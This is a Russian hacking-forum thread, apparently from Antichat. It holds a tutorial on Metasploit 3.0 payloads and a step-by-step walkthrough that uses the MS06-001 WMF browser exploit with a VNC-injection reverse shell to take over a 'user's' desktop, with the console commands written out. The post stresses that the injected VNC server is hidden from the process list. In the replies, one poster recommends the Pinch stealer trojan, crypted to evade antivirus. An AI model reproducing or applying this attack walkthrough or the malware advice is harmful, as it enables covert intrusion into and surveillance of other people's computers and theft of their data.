![]() |
TotalControl (учимся юзать VNC или Metaspoit Framework часть 5).
TotalControl (учимся юзать VNC или MSF 3.0 часть 5). Предисловие. Кто не знает что такое MSF 3.0 читайте статьи 1-4. Долго ждали релиза Metasploit Framework 3.0 и наконец-то дождались! Рекомендую к прочтению пользовательский мануал на русском, любезно переведённый n0ne. читать мануал В релизе очень много изменений, по сравнению даже с версией 3.0 beta 3. Остановлюсь на нескольких главных: 1.) Все сплоиты переписаны на Ruby, самих сплоитов естественно больше, уже 186 (после апдейта). 2.) Сплоиты лежат в подпапках по типам целей (уязвимых систем, браузеров, сервисов и т.п), при использовании надо указывать полный путь (копипастим, после команды show exploits нужный сплоит, чтоб не набирать). 3.) Консоль перенесена полностью в веб-интерфейс и сделана на javascript. 4.) Добавлены многофункциональные начинки по механизму соединения: PassiveX, по функционалу: Meterpreter, Win32 DLL Injection, VNC сервера, также добавлены генераторы (обсфускаторы) кода сплоитов. 5.) Добавлена поддержка SOCKS и HTTP прокси (стабильна цепочка до 5 - говорят в мануале, но нам и одного анонимного хватит). 6.) Тут будут добавления... Сразу скажу о главном недостатке: Так как используется интерпретатор Ruby+ эмуляция консоли в WEB-интерфейсе - наблюдаются ощутимые тормоза при работе в консоли. Для меня актуально, так как весь пакет у меня стоит ещё в добавок в гостевой ОС, но если вы поставите его в основную систему то наверно дискомфорта можете и не заметить. Виртуальная система по производительности соответствует Pentium-II-433 с 512 RAM - так, что обладатели старых компьютеров тоже могут ощутить медленную работу в WEB-интерфейсе. Жаль, что не оставили просто консоль (может где-то и есть, надо просто покопаться). 1. Обзор необычных, продвинутых, многофунциональных начинок. а) PassiveX - ну об этом типе начинок я не писал ещё, обратимся к ману и посмотрим, чем хорош этот тип начинки. Ага грузит произвольный элемент управления ActiveX. Начинки такого типа патчат реестр системы цели и заставляют взломанный процесс запустить браузер с URL, который соединится с Framework. Вообщем комп жертвы становится веб-сервером, который может принимать и отправляет запросы. Взломанная система загружает, регистрирует и исполняет ActiveX. Начальная начинка PassiveX, windows/xxx/reverse_http, поддерживает любой ActiveX. В дополнение к начальной начинке PassiveX модуля прилагаются ещё три (Meterpreter, Win32 DLL Injection, VNC сервер). Когда мы используем любую начинку этого типа, объект PassiveX будет эмулировать TCP соединение через HTTP GET и POST запросы. Это позволяет вести диалог с шеллом по HTTP трафику. Так как PassiveX использует браузер Internet Explorer для загрузки компонента AcitveX, он будет работать прямо через удаленный прокси, используя любую систему и настройки идентификации, которые были заранее сконфигурированы. Начинки PassiveX работают только на системах с установленным Inter Explorer 6.0 (не 5.5 и 7.0). Вообщем специфичный тип начинок, прокатит только, где есть Осёл 6.0. Хотя механизм очень интересен. б) Meterpreter - ну я уже о нем писал в 4 части статей по MSF, тут всё остаётся так же. Скажу только, то, что это продвинутый шелл, который позволяет расширять свой функционал динамически, т. е. когда мы в нём, ну типа автоапдейта (обновляет сам себя). Ну немного повторюсь и рассмотрю подробнее этот тип начинок: делаем show payloads в консоли и смотрим: Цитата:
в) Win32 DLL Injection - Читающим статьи Криса Касперски должно быть известно такое название. Вобщем этот тип начинок способен внедрить в память любую DLL в комбинации с любым Win32 эксплоитом в память взломанного процесса. Эти начинки не записывают ничего на диск DLL'ка пишется прямо в память. Эта начинка была разработана Jarkko Tukulainen и Matt Miller и является одной из самых мощных техник взлома на сегодняшний день. Для создания DLL'ки, которая может быть использована с этой начинкой, используй любой девелоперский (разработческий) интерфейс и создай стандартный Win32 DLL. Этот DLL должен экспортировать функцию INIT, которая занимает один целочисленный аргумент, который содержит в себе дескриптор сокета, через который будет работать начинка. Когда процесс закончился, он должен вернуться и разрешить загрузчику выйти из процесса, согласно функции EXITFUNC. Ну да инжект рулит, внедрение в процесс, тут тебе и обход файрволов и т. д. (правда если есть контроль компонентов то запалится). Вообщем делайте свою DLL и можете закинуть на комп жертвы! А можно и выбрать какую либо, например бажную и взломать уже через её повторно. :D . Я на этом подробно отсанавливаться не буду, так как больший интерес этот тип начинок представляет для тех, кто кодит и пишет свои dll. г) VNC сервер - самое "вкусное" - это не что иное как удалённый рабочий стол с обычным привычным интерфейсом, таким как у сервера терминалов или Радмина! Тут используется механизм инжектирования dll во взломанный процесс (см. метод описанный выше). Но саму dll нам уже предоставили! Она и выполняет функции VNC-сервера - передаёт нам содержимое рабочего стола взломанного компа. Одна из первых DLL начинок был VNC сервер. Он был написан Matt Miller и основывался на RealVNC. Дополнительные модификации были сделаны для того, чтобы сервер мог работать со взломанным, неинтерактивным сетевым сервисом. Эта начинка позволяет получить доступ к рабочему столу взломанной системы, используя Win32 эксплоит. DLL'ка загружается в удаленный процесс, используя организованную загрузочную систему и слушает запросы VNC клиента на том же сокете, через который загружался DLL. Framework слушает локальный сокет VNC клиента и информацию о прокси через соединение начинки с сервером. VNC сервер будет пытаться получить полный доступ к рабочему столу. Если первая попытка завершается неудачей - он вызовет функцию RevertToSelf() и потом попробует получить доступ снова. Если опять неудача - он вернется в read-only режим. То есть в этом режиме мы сможем только просматривать содержимое рабочего стола (как режим view у Радмина) . Если получим полный доступ то VNC сервер запустит коммандную строку на рабочем столе с привилегиями взломанного сервиса. Это удобно, когда за компьютером сидит непривилегированный пользователь, а взломанный сервис имеет привилегии System. Если ни один пользователь не зашел в систему, или экран заблокирован, коммандная строка может быть использована для запуска explorer.exe-проводника.. Если пользователь блокирует экран во время использования или заходит другой пользователь, т.е. происходит смена экрана, то VNC сервер отключится от клиента. Есть несколько ситуаций, когда VNC-сервер не будет работать. Вообщем если переменные окружения взломанной системы имеют специфические значения, которые критичны для эксплоита или метода внедрения, то облом! 3. Практическое использование VNC-сервера (инжект vncdll.dll во взломанный процесс). 1. Запускаем пакет MSF. грузится долго у меня в гостевой ОС. Выключим KIS 6.0 чтоб не надоедал (проактивная защита) 2. Топаем на Вебсервер метасплоита, запускаем консоль. Код:
Welcome to the Metasploit Web Console!Код:
>> show exploitsКод:
use windows/browser/ms06_001_wmf_setabortprocКод:
info windows/browser/ms06_001_wmf_setabortprocКод:
>> set LHOST 10.0.3.84Код:
>> show payloadsКод:
>> set PAYLOAD windows/vncinject/reverse_tcpКод:
>> exploitКод:
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)Вот так мы взломали удалённо компьютер юзверя и получили удалённый рабочий стол с возможностью выполнения комманд. Примечательно, то что сервер VNC невиден в процессах, так как он исполнен в виде dll, которая инжектированна в взломанный процесc run32dll.exe - и он будет жить до тех пор, пока не грохнут родителя (run32dll.exe). 4. Заключение. Вот так мы испытали технику инжектирования dll во взломанный процесс и удачно получили доступ к рабочему столу юзверя. Снял видео по взлому, кому интересно качать тут (55 метров в ахиве) -=lebed=- (с) специально для Античат. отдельное спасибо n0ne за перевод мануала MSF 3.0 (использовал инфу с его перевода мануала MSF 3.0) Кстать n0ne, как там дела с переводом мана для разработчиков? |
за статью +1
Ты кстати не знаешь, как это vnc inject замутить руками, имея только cmd шелл, ипользуя например ту же самую vncdll.dll |
Цитата:
|
Ну не только cmd шелл, еще файлы загружать в систему можно.
Просто я не особо шарю в таком, интересно было узнать, как написать exe-шник, который грузит в память эту dll-ку и запускает vnc. Просто есть фишки, которые через cmd шелл не сделаешь, а через vnc в самый раз |
Цитата:
Загрузить файлы в систему и исполнить exe - используй такую начинку (кликай по цифре 2 у меня в подписи и читай). А уж какой exe будет грузится с инжектом или нет - это другое дело, бери Пинча и грузи (тока перекриптуй хорошо, на сколько мне известно он инжект использует). |
Я тут немного о другом спрашивал, а именно код программы которая при запуске будет грузить эту длл-ку в память (не используя маетасплоит)
|
Млин, снял видео по взлому по этой статье. 55 метров получилось в архиве! наверно из-за того, что 1280x1024 сделал, куда мона это хозяйство залить? Щас перекодирую, правда в качестве потеряю...
|
И опять таки сорри если не в тему, автор то старался, но видео уже есть на милворме.
|
Цитата:
|
Залил на Рапиду, качайте (линк в статье) или вот он http://rapidshare.com/files/27458303/VNC-______.zip
|
| Время: 18:03 |